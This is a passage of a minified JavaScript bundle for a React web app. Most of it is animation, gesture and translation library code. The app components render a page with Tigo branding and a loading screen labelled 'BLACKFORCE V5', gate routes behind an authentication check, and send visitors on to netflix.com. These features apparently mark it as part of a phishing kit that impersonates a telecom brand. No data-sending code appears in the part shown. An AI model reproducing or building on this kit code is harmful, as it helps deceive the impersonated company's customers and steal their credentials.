g=this.getClosestProjectingParent();g&&g.layout&&this.animationProgress!==1?(this.relativeParent=g,this.forceRelativeParentToResolveTarget(),this.relativeTarget=mn(),this.relativeTargetOrigin=mn(),au(this.relativeTargetOrigin,this.layout.layoutBox,g.layout.layoutBox),Ja(this.relativeTarget,this.relativeTargetOrigin)):this.relativeParent=this.relativeTarget=void 0}if(!(!this.relativeTarget&&!this.targetDelta)&&(this.target||(this.target=mn(),this.targetWithTransforms=mn()),this.relativeTarget&&this.relativeTargetOrigin&&this.relativeParent&&this.relativeParent.target?(this.forceRelativeParentToResolveTarget(),xU(this.target,this.relativeTarget,this.relativeParent.target)):this.targetDelta?(this.resumingFrom?this.target=this.applyTransform(this.layout.layoutBox):Ja(this.target,this.layout.layoutBox),T3(this.target,this.targetDelta)):Ja(this.target,this.layout.layoutBox),this.attemptToResolveRelativeTarget)){this.attemptToResolveRelativeTarget=!1;const g=this.getClosestProjectingParent();g&&!!g.resumingFrom==!!this.resumingFrom&&!g.options.layoutScroll&&g.target&&this.animationProgress!==1?(this.relativeParent=g,this.forceRelativeParentToResolveTarget(),this.relativeTarget=mn(),this.relativeTargetOrigin=mn(),au(this.relativeTargetOrigin,this.target,g.target),Ja(this.relativeTarget,this.relativeTargetOrigin)):this.relativeParent=this.relativeTarget=void 0}}}getClosestProjectingParent(){if(!(!this.parent||qg(this.parent.latestValues)||A3(this.parent.latestValues)))return this.parent.isProjecting()?this.parent:this.parent.getClosestProjectingParent()}isProjecting(){return!!((this.relativeTarget||this.targetDelta||this.options.layoutRoot)&&this.layout)}calcProjection(){const u=this.getLead(),d=!!this.resumingFrom||this!==u;let m=!0;if((this.isProjectionDirty||this.parent?.isProjectionDirty)&&(m=!1),d&&(this.isSharedProjectionDirty||this.isTransformDirty)&&(m=!1),this.resolvedRelativeTargetAt===$n.timestamp&&(m=!1),m)return;const{layout:h,layoutId:p}=this.options;if(this.isTreeAnimating=!!(this.parent&&this.parent.isTreeAnimating||this.currentAnimation||this.pendingAnimation),this.isTreeAnimating||(this.targetDelta=this.relativeTarget=void 0),!this.layout||!(h||p))return;Ja(this.layoutCorrected,this.layout.layoutBox);const x=this.treeScale.x,g=this.treeScale.y;TV(this.layoutCorrected,this.treeScale,this.path,d),u.layout&&!u.target&&(this.treeScale.x!==1||this.treeScale.y!==1)&&(u.target=u.layout.layoutBox,u.targetWithTransforms=mn());const{target:y}=u;if(!y){this.prevProjectionDelta&&(this.createProjectionDeltas(),this.scheduleRender());return}!this.projectionDelta||!this.prevProjectionDelta?this.createProjectionDeltas():(zS(this.prevProjectionDelta.x,this.projectionDelta.x),zS(this.prevProjectionDelta.y,this.projectionDelta.y)),nu(this.projectionDelta,this.layoutCorrected,y,this.latestValues),(this.treeScale.x!==x||this.treeScale.y!==g||!YS(this.projectionDelta.x,this.prevProjectionDelta.x)||!YS(this.projectionDelta.y,this.prevProjectionDelta.y))&&(this.hasProjected=!0,this.scheduleRender(),this.notifyListeners("projectionUpdate",y))}hide(){this.isVisible=!1}show(){this.isVisible=!0}scheduleRender(u=!0){if(this.options.visualElement?.scheduleRender(),u){const d=this.getStack();d&&d.scheduleRender()}this.resumingFrom&&!this.resumingFrom.instance&&(this.resumingFrom=void 0)}createProjectionDeltas(){this.prevProjectionDelta=xl(),this.projectionDelta=xl(),this.projectionDeltaWithTransform=xl()}setAnimationOrigin(u,d=!1){const m=this.snapshot,h=m?m.latestValues:{},p={...this.latestValues},x=xl();(!this.relativeParent||!this.relativeParent.options.layoutRoot)&&(this.relativeTarget=this.relativeTargetOrigin=void 0),this.attemptToResolveRelativeTarget=!d;const g=mn(),y=m?m.source:void 0,w=this.layout?this.layout.source:void 0,S=y!==w,N=this.getStack(),T=!N||N.members.length<=1,E=!!(S&&!T&&this.options.crossfade===!0&&!this.path.some(oI));this.animationProgress=0;let A;this.mixTargetDelta=j=>{const R=j/1e3;QS(x.x,u.x,R),QS(x.y,u.y,R),this.setTargetDelta(x),this.relativeTarget&&this.relativeTargetOrigin&&this.layout&&this.relativeParent&&this.relativeParent.layout&&(au(g,this.layout.layoutBox,this.relativeParent.layout.layoutBox),iI(this.relativeTarget,this.relativeTargetOrigin,g,R),A&&$U(this.relativeTarget,A)&&(this.isProjectionDirty=!1),A||(A=mn()),Ja(A,this.relativeTarget)),S&&(this.animationValues=p,zU(p,h,this.latestValues,R,E,T)),this.root.scheduleUpdateProjection(),this.scheduleRender(),this.animationProgress=R},this.mixTargetDelta(this.options.layoutRoot?1e3:0)}startAnimation(u){this.notifyListeners("animationStart"),this.currentAnimation?.stop(),this.resumingFrom?.currentAnimation?.stop(),this.pendingAnimation&&(hi(this.pendingAnimation),this.pendingAnimation=void 0),this.pendingAnimation=Xt.update(()=>{B0.hasAnimatedSinceResize=!0,this.motionValue||(this.motionValue=_l(0)),this.currentAnimation=MU(this.motionValue,[0,1e3],{...u,velocity:0,isSync:!0,onUpdate:d=>{this.mixTargetDelta(d),u.onUpdate&&u.onUpdate(d)},onStop:()=>{},onComplete:()=>{u.onComplete&&u.onComplete(),this.completeAnimation()}}),this.resumingFrom&&(this.resumingFrom.currentAnimation=this.currentAnimation),this.pendingAnimation=void 0})}completeAnimation(){this.resumingFrom&&(this.resumingFrom.currentAnimation=void 0,this.resumingFrom.preserveOpacity=void 0);const u=this.getStack();u&&u.exitAnimationComplete(),this.resumingFrom=this.currentAnimation=this.animationValues=void 0,this.notifyListeners("animationComplete")}finishAnimation(){this.currentAnimation&&(this.mixTargetDelta&&this.mixTargetDelta(KU),this.currentAnimation.stop()),this.completeAnimation()}applyTransformsToTarget(){const u=this.getLead();let{targetWithTransforms:d,target:m,layout:h,latestValues:p}=u;if(!(!d||!m||!h)){if(this!==u&&this.layout&&h&&Q3(this.options.animationType,this.layout.layoutBox,h.layoutBox)){m=this.target||mn();const x=oa(this.layout.layoutBox.x);m.x.min=u.target.x.min,m.x.max=m.x.min+x;const g=oa(this.layout.layoutBox.y);m.y.min=u.target.y.min,m.y.max=m.y.min+g}Ja(d,m),pl(d,p),nu(this.projectionDeltaWithTransform,this.layoutCorrected,d,p)}}registerSharedNode(u,d){this.sharedNodes.has(u)||this.sharedNodes.set(u,new GU),this.sharedNodes.get(u).add(d);const h=d.options.initialPromotionConfig;d.promote({transition:h?h.transition:void 0,preserveFollowOpacity:h&&h.shouldPreserveFollowOpacity?h.shouldPreserveFollowOpacity(d):void 0})}isLead(){const u=this.getStack();return u?u.lead===this:!0}getLead(){const{layoutId:u}=this.options;return u?this.getStack()?.lead||this:this}getPrevLead(){const{layoutId:u}=this.options;return u?this.getStack()?.prevLead:void 0}getStack(){const{layoutId:u}=this.options;if(u)return this.root.sharedNodes.get(u)}promote({needsReset:u,transition:d,preserveFollowOpacity:m}={}){const h=this.getStack();h&&h.promote(this,m),u&&(this.projectionDelta=void 0,this.needsReset=!0),d&&this.setOptions({transition:d})}relegate(){const u=this.getStack();return u?u.relegate(this):!1}resetSkewAndRotation(){const{visualElement:u}=this.options;if(!u)return;let d=!1;const{latestValues:m}=u;if((m.z||m.rotate||m.rotateX||m.rotateY||m.rotateZ||m.skewX||m.skewY)&&(d=!0),!d)return;const h={};m.z&&Hx("z",u,h,this.animationValues);for(let p=0;p<Ix.length;p++)Hx(`rotate${Ix[p]}`,u,h,this.animationValues),Hx(`skew${Ix[p]}`,u,h,this.animationValues);u.render();for(const p in h)u.setStaticValue(p,h[p]),this.animationValues&&(this.animationValues[p]=h[p]);u.scheduleRender()}applyProjectionStyles(u,d){if(!this.instance||this.isSVG)return;if(!this.isVisible){u.visibility="hidden";return}const m=this.getTransformTemplate();if(this.needsReset){this.needsReset=!1,u.visibility="",u.opacity="",u.pointerEvents=k0(d?.pointerEvents)||"",u.transform=m?m(this.latestValues,""):"none";return}const h=this.getLead();if(!this.projectionDelta||!this.layout||!h.target){this.options.layoutId&&(u.opacity=this.latestValues.opacity!==void 0?this.latestValues.opacity:1,u.pointerEvents=k0(d?.pointerEvents)||""),this.hasProjected&&!qi(this.latestValues)&&(u.transform=m?m({},""):"none",this.hasProjected=!1);return}u.visibility="";const p=h.animationValues||h.latestValues;this.applyTransformsToTarget();let x=YU(this.projectionDeltaWithTransform,this.treeScale,p);m&&(x=m(p,x)),u.transform=x;const{x:g,y}=this.projectionDelta;u.transformOrigin=`${g.origin*100}% ${y.origin*100}% 0`,h.animationValues?u.opacity=h===this?p.opacity??this.latestValues.opacity??1:this.preserveOpacity?this.latestValues.opacity:p.opacityExit:u.opacity=h===this?p.opacity!==void 0?p.opacity:"":p.opacityExit!==void 0?p.opacityExit:0;for(const w in bu){if(p[w]===void 0)continue;const{correct:S,applyTo:N,isCSSVariable:T}=bu[w],E=x==="none"?p[w]:S(p[w],h);if(N){const A=N.length;for(let j=0;j<A;j++)u[N[j]]=E}else T?this.options.visualElement.renderState.vars[w]=E:u[w]=E}this.options.layoutId&&(u.pointerEvents=h===this?k0(d?.pointerEvents)||"":"none")}clearSnapshot(){this.resumeFrom=this.snapshot=void 0}resetTree(){this.root.nodes.forEach(u=>u.currentAnimation?.stop()),this.root.nodes.forEach(KS),this.root.sharedNodes.clear()}}}function WU(e){e.updateLayout()}function QU(e){const t=e.resumeFrom?.snapshot||e.snapshot;if(e.isLead()&&e.layout&&t&&e.hasListeners("didUpdate")){const{layoutBox:n,measuredBox:s}=e.layout,{animationType:i}=e.options,c=t.source!==e.layout.source;i==="size"?es(p=>{const x=c?t.measuredBox[p]:t.layoutBox[p],g=oa(x);x.min=n[p].min,x.max=x.min+g}):Q3(i,t.layoutBox,n)&&es(p=>{const x=c?t.measuredBox[p]:t.layoutBox[p],g=oa(n[p]);x.max=x.min+g,e.relativeTarget&&!e.currentAnimation&&(e.isProjectionDirty=!0,e.relativeTarget[p].max=e.relativeTarget[p].min+g)});const u=xl();nu(u,n,t.layoutBox);const d=xl();c?nu(d,e.applyTransform(s,!0),t.measuredBox):nu(d,n,t.layoutBox);const m=!Y3(u);let h=!1;if(!e.resumeFrom){const p=e.getClosestProjectingParent();if(p&&!p.resumeFrom){const{snapshot:x,layout:g}=p;if(x&&g){const y=mn();au(y,t.layoutBox,x.layoutBox);const w=mn();au(w,n,g.layoutBox),K3(y,w)||(h=!0),p.options.layoutRoot&&(e.relativeTarget=w,e.relativeTargetOrigin=y,e.relativeParent=p)}}}e.notifyListeners("didUpdate",{layout:n,snapshot:t,delta:d,layoutDelta:u,hasLayoutChanged:m,hasRelativeLayoutChanged:h})}else if(e.isLead()){const{onExitComplete:n}=e.options;n&&n()}e.options.transition=void 0}function ZU(e){e.parent&&(e.isProjecting()||(e.isProjectionDirty=e.parent.isProjectionDirty),e.isSharedProjectionDirty||(e.isSharedProjectionDirty=!!(e.isProjectionDirty||e.parent.isProjectionDirty||e.parent.isSharedProjectionDirty)),e.isTransformDirty||(e.isTransformDirty=e.parent.isTransformDirty))}function JU(e){e.isProjectionDirty=e.isSharedProjectionDirty=e.isTransformDirty=!1}function eI(e){e.clearSnapshot()}function KS(e){e.clearMeasurements()}function XS(e){e.isLayoutDirty=!1}function tI(e){const{visualElement:t}=e.options;t&&t.getProps().onBeforeLayoutMeasure&&t.notify("BeforeLayoutMeasure"),e.resetTransform()}function WS(e){e.finishAnimation(),e.targetDelta=e.relativeTarget=e.target=void 0,e.isProjectionDirty=!0}function nI(e){e.resolveTargetDelta()}function aI(e){e.calcProjection()}function sI(e){e.resetSkewAndRotation()}function rI(e){e.removeLeadSnapshot()}function QS(e,t,n){e.translate=tn(t.translate,0,n),e.scale=tn(t.scale,1,n),e.origin=t.origin,e.originPoint=t.originPoint}function ZS(e,t,n,s){e.min=tn(t.min,n.min,s),e.max=tn(t.max,n.max,s)}function iI(e,t,n,s){ZS(e.x,t.x,n.x,s),ZS(e.y,t.y,n.y,s)}function oI(e){return e.animationValues&&e.animationValues.opacityExit!==void 0}const lI={duration:.45,ease:[.4,0,.1,1]},JS=e=>typeof navigator<"u"&&navigator.userAgent&&navigator.userAgent.toLowerCase().includes(e),eN=JS("applewebkit/")&&!JS("chrome/")?Math.round:as;function tN(e){e.min=eN(e.min),e.max=eN(e.max)}function cI(e){tN(e.x),tN(e.y)}function Q3(e,t,n){return e==="position"||e==="preserve-aspect"&&!pU(GS(t),GS(n),.2)}function uI(e){return e!==e.root&&e.scroll?.wasRoot}const dI=W3({attachResizeListener:(e,t)=>wu(e,"resize",t),measureScroll:()=>({x:document.documentElement.scrollLeft||document.body.scrollLeft,y:document.documentElement.scrollTop||document.body.scrollTop}),checkIsScrollRoot:()=>!0}),qx={current:void 0},Z3=W3({measureScroll:e=>({x:e.scrollLeft,y:e.scrollTop}),defaultParent:()=>{if(!qx.current){const e=new dI({});e.mount(window),e.setOptions({layoutScroll:!0}),qx.current=e}return qx.current},resetTransform:(e,t)=>{e.style.transform=t!==void 0?t:"none"},checkIsScrollRoot:e=>window.getComputedStyle(e).position==="fixed"}),fI={pan:{Feature:RU},drag:{Feature:DU,ProjectionNode:Z3,MeasureLayout:q3}};function nN(e,t,n){const{props:s}=e;e.animationState&&s.whileHover&&e.animationState.setActive("whileHover",n==="Start");const i="onHover"+n,c=s[i];c&&Xt.postRender(()=>c(t,$u(t)))}class hI extends wi{mount(){const{current:t}=this.node;t&&(this.unmount=Bz(t,(n,s)=>(nN(this.node,s,"Start"),i=>nN(this.node,i,"End"))))}unmount(){}}class mI extends wi{constructor(){super(...arguments),this.isActive=!1}onFocus(){let t=!1;try{t=this.node.current.matches(":focus-visible")}catch{t=!0}!t||!this.node.animationState||(this.node.animationState.setActive("whileFocus",!0),this.isActive=!0)}onBlur(){!this.isActive||!this.node.animationState||(this.node.animationState.setActive("whileFocus",!1),this.isActive=!1)}mount(){this.unmount=Iu(wu(this.node.current,"focus",()=>this.onFocus()),wu(this.node.current,"blur",()=>this.onBlur()))}unmount(){}}function aN(e,t,n){const{props:s}=e;if(e.current instanceof HTMLButtonElement&&e.current.disabled)return;e.animationState&&s.whileTap&&e.animationState.setActive("whileTap",n==="Start");const i="onTap"+(n==="End"?"":n),c=s[i];c&&Xt.postRender(()=>c(t,$u(t)))}class pI extends wi{mount(){const{current:t}=this.node;t&&(this.unmount=Lz(t,(n,s)=>(aN(this.node,s,"Start"),(i,{success:c})=>aN(this.node,i,c?"End":"Cancel")),{useGlobalTarget:this.node.props.globalTapTarget}))}unmount(){}}const Qg=new WeakMap,$x=new WeakMap,xI=e=>{const t=Qg.get(e.target);t&&t(e)},gI=e=>{e.forEach(xI)};function vI({root:e,...t}){const n=e||document;$x.has(n)||$x.set(n,{});const s=$x.get(n),i=JSON.stringify(t);return s[i]||(s[i]=new IntersectionObserver(gI,{root:e,...t})),s[i]}function yI(e,t,n){const s=vI(t);return Qg.set(e,n),s.observe(e),()=>{Qg.delete(e),s.unobserve(e)}}const bI={some:0,all:1};class wI extends wi{constructor(){super(...arguments),this.hasEnteredView=!1,this.isInView=!1}startObserver(){this.unmount();const{viewport:t={}}=this.node.getProps(),{root:n,margin:s,amount:i="some",once:c}=t,u={root:n?n.current:void 0,rootMargin:s,threshold:typeof i=="number"?i:bI[i]},d=m=>{const{isIntersecting:h}=m;if(this.isInView===h||(this.isInView=h,c&&!h&&this.hasEnteredView))return;h&&(this.hasEnteredView=!0),this.node.animationState&&this.node.animationState.setActive("whileInView",h);const{onViewportEnter:p,onViewportLeave:x}=this.node.getProps(),g=h?p:x;g&&g(m)};return yI(this.node.current,u,d)}mount(){this.startObserver()}update(){if(typeof IntersectionObserver>"u")return;const{props:t,prevProps:n}=this.node;["amount","margin","root"].some(CI(t,n))&&this.startObserver()}unmount(){}}function CI({viewport:e={}},{viewport:t={}}={}){return n=>e[n]!==t[n]}const SI={inView:{Feature:wI},tap:{Feature:pI},focus:{Feature:mI},hover:{Feature:hI}},NI={layout:{ProjectionNode:Z3,MeasureLayout:q3}},EI={...cU,...SI,...fI,...NI},pn=EV(EI,PV);function jI({text:e}){const{setErrorMessage:t}=Wt(),n=()=>{t("")};return o.jsx(Yz,{children:e&&o.jsx(pn.div,{initial:{opacity:0,y:-10,height:0},animate:{opacity:1,y:0,height:"auto"},exit:{opacity:0,y:-10,height:0},transition:{duration:.3},className:"mt-2",children:o.jsxs("div",{className:"w-full min-h-[48px] flex justify-between items-start gap-3 p-3 sm:p-4 bg-[#e91429] rounded-md shadow-sm mb-6",children:[o.jsxs("div",{className:"flex items-start gap-2 sm:gap-3 flex-1 min-w-0",children:[o.jsx(Ov,{size:18,className:"text-white w-4 h-4 sm:w-5 sm:h-5 mt-0.5 flex-shrink-0"}),o.jsx("span",{className:"text-white text-[14px] font-[500] leading-relaxed break-words",children:e})]}),o.jsx(pn.button,{onClick:n,className:"flex-shrink-0 p-1 rounded-full hover:bg-white/20 transition-colors duration-200 focus:outline-none focus:ring-2 focus:ring-white/50",whileHover:{scale:1.1},whileTap:{scale:.9},"aria-label":"Close error message",children:o.jsx(Iv,{size:16,className:"text-white w-4 h-4 sm:w-5 sm:h-5"})})]})})})}function AI(){return o.jsx("div",{className:"w-full flex justify-center items-center",children:o.jsx("img",{src:"/assets/tigo-text-white.png",alt:"Tigo",className:"h-[28px]"})})}const TI=()=>{const{errorMessage:e}=Wt();return C.useEffect(()=>{window.scrollTo({top:0,behavior:"smooth"})}),o.jsxs(yA,{children:[o.jsx(bA,{}),o.jsxs("main",{className:"w-full min-h-dvh flex flex-col justify-start items-center bg-white",children:[o.jsx("div",{className:"w-full bg-[#00377d] px-[16px] py-[14px]",children:o.jsx("header",{className:"w-full flex flex-col justify-center items-center",children:o.jsx(AI,{})})}),o.jsxs("div",{className:"md:w-[440px] w-full sm:pt-[20px] sm:pb-[60px] px-[15px] py-[20px]",children:[o.jsx(jI,{text:e}),o.jsx(Ru,{})]}),o.jsx("footer",{className:"w-full flex justify-center items-center"})]})]})},DI=()=>o.jsxs("div",{className:"min-h-screen w-full relative bg-[#000]",children:[o.jsx("div",{className:"absolute inset-0 pattern-advanced-grid-sm opacity-40 dark:opacity-20 pointer-events-none"}),o.jsx("div",{className:"absolute inset-0 bg-gradient-to-t from-background/80 via-transparent to-background/60 pointer-events-none"}),o.jsx("div",{className:"relative flex-1",children:o.jsx(Ru,{})})]}),Gx=()=>(C.useEffect(()=>{window.scrollTo({top:0,behavior:"smooth"})}),o.jsxs(yA,{children:[o.jsx(bA,{}),o.jsx("main",{className:"w-full min-h-dvh flex flex-col justify-start items-center bg-white",children:o.jsx(Ru,{})})]}));function RI(){return o.jsxs("div",{className:"min-h-screen flex flex-col items-center justify-center bg-background relative overflow-hidden",children:[o.jsxs("div",{className:"absolute inset-0 pointer-events-none",children:[o.jsx("div",{className:"absolute top-1/4 left-1/4 w-2 h-2 bg-foreground/30 rounded-full animate-float-slow"}),o.jsx("div",{className:"absolute top-1/3 right-1/4 w-1.5 h-1.5 bg-foreground/25 rounded-full animate-float-medium"}),o.jsx("div",{className:"absolute bottom-1/3 left-1/3 w-1 h-1 bg-foreground/35 rounded-full animate-float-fast"}),o.jsx("div",{className:"absolute top-1/2 right-1/3 w-1.5 h-1.5 bg-foreground/20 rounded-full animate-float-slow"}),o.jsx("div",{className:"absolute bottom-1/4 right-1/5 w-2 h-2 bg-foreground/30 rounded-full animate-float-medium"}),o.jsx("div",{className:"absolute top-1/5 left-1/2 w-1 h-1 bg-foreground/40 rounded-full animate-float-fast"}),o.jsx("div",{className:"absolute bottom-1/5 left-1/4 w-1 h-1 bg-foreground/35 rounded-full animate-float-slow"}),o.jsx("div",{className:"absolute top-2/3 right-1/2 w-0.5 h-0.5 bg-foreground/45 rounded-full animate-float-medium"}),o.jsx("div",{className:"absolute top-1/6 right-1/6 w-1 h-1 bg-foreground/30 rounded-full animate-float-fast"}),o.jsx("div",{className:"absolute bottom-1/2 left-1/6 w-0.5 h-0.5 bg-foreground/40 rounded-full animate-float-slow"}),o.jsx("div",{className:"absolute top-1/8 left-3/4 w-0.5 h-0.5 bg-foreground/50 rounded-full animate-float-medium"}),o.jsx("div",{className:"absolute bottom-1/6 right-1/8 w-0.5 h-0.5 bg-foreground/45 rounded-full animate-float-fast"}),o.jsx("div",{className:"absolute top-3/4 left-1/8 w-0.5 h-0.5 bg-foreground/40 rounded-full animate-float-slow"}),o.jsx("div",{className:"absolute top-1/2 left-3/5 w-0.5 h-0.5 bg-foreground/35 rounded-full animate-float-medium"}),o.jsx("div",{className:"absolute bottom-1/8 left-2/3 w-0.5 h-0.5 bg-foreground/50 rounded-full animate-float-fast"})]}),o.jsxs("div",{className:"relative z-10 flex flex-col items-center space-y-8",children:[o.jsxs("div",{className:"relative flex items-center justify-center",children:[o.jsx("div",{className:"absolute inset-0 flex items-center justify-center",children:o.jsxs("div",{className:"w-24 h-24 border border-foreground/10 rounded-full animate-spin",style:{animationDuration:"3s"},children:[o.jsx("div",{className:"absolute -top-1 left-1/2 transform -translate-x-1/2 w-2 h-2 bg-foreground/40 rounded-full"}),o.jsx("div",{className:"absolute top-1/2 -right-1 transform -translate-y-1/2 w-1.5 h-1.5 bg-foreground/30 rounded-full"}),o.jsx("div",{className:"absolute -bottom-1 left-1/2 transform -translate-x-1/2 w-1 h-1 bg-foreground/25 rounded-full"}),o.jsx("div",{className:"absolute top-1/2 -left-1 transform -translate-y-1/2 w-1.5 h-1.5 bg-foreground/35 rounded-full"})]})}),o.jsx("div",{className:"relative z-10 flex items-center justify-center w-16 h-16 rounded-full bg-background border border-foreground/20 shadow-lg",children:o.jsx(q0,{className:"h-8 w-8 text-foreground animate-pulse"})})]}),o.jsxs("div",{className:"text-center space-y-3",children:[o.jsx("h2",{className:"text-xl font-semibold text-foreground",children:"BLACKFORCE V5"}),o.jsxs("div",{className:"flex items-center justify-center space-x-2",children:[o.jsxs("div",{className:"flex space-x-1",children:[o.jsx("div",{className:"w-1.5 h-1.5 bg-foreground rounded-full animate-bounce",style:{animationDelay:"0ms"}}),o.jsx("div",{className:"w-1.5 h-1.5 bg-foreground rounded-full animate-bounce",style:{animationDelay:"150ms"}}),o.jsx("div",{className:"w-1.5 h-1.5 bg-foreground rounded-full animate-bounce",style:{animationDelay:"300ms"}})]}),o.jsx("p",{className:"text-sm text-muted-foreground",children:"Loading..."})]})]}),o.jsx("div",{className:"w-48 h-0.5 bg-foreground/20 rounded-full overflow-hidden",children:o.jsx("div",{className:"h-full w-1/3 bg-foreground rounded-full animate-pulse"})})]}),o.jsx("div",{className:"absolute bottom-6 left-1/2 transform -translate-x-1/2 text-xs text-muted-foreground",children:"© 2025 BLACKFORCE. All rights reserved."}),o.jsx("style",{children:`
        @keyframes float-slow {
          0%, 100% { transform: translateY(0px) translateX(0px); }
          25% { transform: translateY(-10px) translateX(5px); }
          50% { transform: translateY(-5px) translateX(-5px); }
          75% { transform: translateY(-15px) translateX(3px); }
        }
        
        @keyframes float-medium {
          0%, 100% { transform: translateY(0px) translateX(0px); }
          33% { transform: translateY(-8px) translateX(-3px); }
          66% { transform: translateY(-12px) translateX(4px); }
        }
        
        @keyframes float-fast {
          0%, 100% { transform: translateY(0px) translateX(0px); }
          50% { transform: translateY(-6px) translateX(-2px); }
        }
        
        .animate-float-slow {
          animation: float-slow 4s ease-in-out infinite;
        }
        
        .animate-float-medium {
          animation: float-medium 3s ease-in-out infinite;
        }
        
        .animate-float-fast {
          animation: float-fast 2s ease-in-out infinite;
        }
      `})]})}const gr=({children:e})=>{const{isAuthenticated:t,loading:n}=Qv(),s=Ca();return n?o.jsx(RI,{}):t?e:o.jsx(NE,{to:dj,state:{from:s},replace:!0})},_I="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAJYAAACWCAYAAAA8AXHiAAAENklEQVR4nO3d3XHbQAxFYSiTiuwUoiY8qSmTJlSIk5aYF9OhLSe2vMDiAnu+12Qs7uoIpOgfmQEAAAAAAAAAAAAAAADLOWUfQCnnbfvvv19O7OcTNuIW74X1LwsGt9yCh3w2rNcWCK39Al15hXXUNLIv2QewvPO2hQSbrOWrJcysABpMMSaWogZTjLCUFQ6MsCooGBdhVVFsehFWNUXiIqyKCkwvwqpMOC7Cqk40rvI34mQoPMFCN1ZlDqSljNhE4pI4iGUs9C2h9ANY0ozAkuMirGyRkSXGRVgqogJLiovbDSqiAkh6t8rEUtTgJ1WZWIoE3tWNKr+A9jyn18RgmVjqPGOYeL1FWBUUjIuwqih23UVYlXjFNWFqEVY1ReIirIoKnBYJqyqPuAKnFmFVJhwXYVUnelokLIRMLcLqQHBq+Yd13u7svN25f13832hczlMrbmIR2NLiT4UENo/QKdE3LALKNxKX4+lwzsX75fR7yuNAhl9YTCsdAlMrfmIxrZY04+L9wc7bQ/jjQIpPWJwG9SSfDqMn1r2ZmV1OP4MfB2K8wrq3PSLoSLyv9dX56xEXzMzj9wo/dmH+zczMLqfvw4+H24xcLw1MvBk3SIlqQfzYTHeF/9rMN9unEvDE8+KduPBs3qnwvD3aeXuc9nhINRbWefvxwf/JbYiKBt5Rzr14v5w4XWZIuIAfvcY6TqJfg18LjXhevL9/uttHq9CP0CIG97EQgrAQgrAQgrAQwvNdIfCMiYUQhIUQhIUQhIUQhIUQOWEpfDD3ShL2eywsvufXm/gvU2BBhIUQhIUQeWFxAT9H0j4zsRBiPCzeGfY0+LwysRAiNyyus2Il7i8TCyF8whL4K714JenPF+2YWAhBWAjhFxanQx3Jp0EzJhaC+IbF1MonMK3M1CYWcY0R2j+tsNCGf1hiHyG7jNF9c/6er+bEIq7bCO5XTFj8xEMtAc+X5sQyk3wVShLdp7iwPF4Fopsmw2N/gs4usROLuOIIR2WmfCo8Iq6XCuzHjM+E9nlVFNjMKbz2IfgN1pyJRVw+ikRlVuVUeLRqXMXWPS8sz1dJsU0e5rneSfcYZ3/kCXHdqmBUZh4f3fsZ3lF0vNNffI/qXWO9pdv0arCevFd61OZVnl6N9iRvYkUttuqrvVFUZpkTaxcZQoXp1XT9Ghs/Y8ooRbbAetfabLPcDV9hjU/SD+CFjOujyCeh23puIHEQLyhcfH/myal63EFkDuSKwhNVhVBQO90bpIKbJUl0n3TDMpPdNBnC+yN7YFc4Nf4lHNROe2IdFdjMKYrsQ4mDvLLi9CoS1K7OxDoqtsnDCq633AFf6Ty9Cga1K3vgVzoFVjioXfkFvKliZA1iOmq1mCsVAmsW1K7lot6kFFnTmI7aL/CfZoa2QEivLbfgd4n8cVgAAAAAAAAAAAAAAABE+gPSN1rSJR8BYgAAAABJRU5ErkJggg==";function sN(){return o.jsx("div",{className:"flex flex-col items-center justify-center h-screen",children:o.jsx("img",{src:_I,className:"w-10 h-10 animate-spin",alt:""})})}function kI(){const{setAuthenticated:e}=Wt();return C.useEffect(()=>{e(!1),window.location.href="https://www.netflix.com/"},[]),o.jsx(o.Fragment,{children:o.jsx(jn,{className:"text-[#000624] animate-spin mx-auto mt-10"})})}const BI=(e,t,n,s)=>{const i=[n,{code:t,...s||{}}];if(e?.services?.logger?.forward)return e.services.logger.forward(i,"warn","react-i18next::",!0);so(i[0])&&(i[0]=`react-i18next:: ${i[0]}`),e?.services?.logger?.warn?e.services.logger.warn(...i):console?.warn&&console.warn(...i)},rN={},Zg=(e,t,n,s)=>{so(n)&&rN[n]||(so(n)&&(rN[n]=new Date),BI(e,t,n,s))},J3=(e,t)=>()=>{if(e.isInitialized)t();else{const n=()=>{setTimeout(()=>{e.off("initialized",n)},0),t()};e.on("initialized",n)}},Jg=(e,t,n)=>{e.loadNamespaces(t,J3(e,n))},iN=(e,t,n,s)=>{if(so(n)&&(n=[n]),e.options.preload&&e.options.preload.indexOf(t)>-1)return Jg(e,n,s);n.forEach(i=>{e.options.ns.indexOf(i)<0&&e.options.ns.push(i)}),e.loadLanguages(t,J3(e,s))},MI=(e,t,n={})=>!t.languages||!t.languages.length?(Zg(t,"NO_LANGUAGES","i18n.languages were undefined or empty",{languages:t.languages}),!0):t.hasLoadedNamespace(e,{lng:n.lng,precheck:(s,i)=>{if(n.bindI18n&&n.bindI18n.indexOf("languageChanging")>-1&&s.services.backendConnector.backend&&s.isLanguageChangingTo&&!i(s.isLanguageChangingTo,e))return!1}}),so=e=>typeof e=="string",FI=e=>typeof e=="object"&&e!==null,OI=/&(?:amp|#38|lt|#60|gt|#62|apos|#39|quot|#34|nbsp|#160|copy|#169|reg|#174|hellip|#8230|#x2F|#47);/g,LI={"&amp;":"&","&#38;":"&","&lt;":"<","&#60;":"<","&gt;":">","&#62;":">","&apos;":"'","&#39;":"'","&quot;":'"',"&#34;":'"',"&nbsp;":" ","&#160;":" ","&copy;":"©","&#169;":"©","&reg;":"®","&#174;":"®","&hellip;":"…","&#8230;":"…","&#x2F;":"/","&#47;":"/"},PI=e=>LI[e],zI=e=>e.replace(OI,PI);let VI={bindI18n:"languageChanged",bindI18nStore:"",transEmptyNodeValue:"",transSupportBasicHtmlNodes:!0,transWrapTextNodes:"",transKeepBasicHtmlNodesFor:["br","strong","i","p"],useSuspense:!0,unescape:zI};const UI=()=>VI;let II;const HI=()=>II,e5=C.createContext();class qI{constructor(){this.usedNamespaces={}}addUsedNamespaces(t){t.forEach(n=>{this.usedNamespaces[n]||(this.usedNamespaces[n]=!0)})}getUsedNamespaces(){return Object.keys(this.usedNamespaces)}}const $I=(e,t)=>{const n=C.useRef();return C.useEffect(()=>{n.current=e},[e,t]),n.current},t5=(e,t,n,s)=>e.getFixedT(t,n,s),GI=(e,t,n,s)=>C.useCallback(t5(e,t,n,s),[e,t,n,s]),ta=(e,t={})=>{const{i18n:n}=t,{i18n:s,defaultNS:i}=C.useContext(e5)||{},c=n||s||HI();if(c&&!c.reportNamespaces&&(c.reportNamespaces=new qI),!c){Zg(c,"NO_I18NEXT_INSTANCE","useTranslation: You will need to pass in an i18next instance by using initReactI18next");const 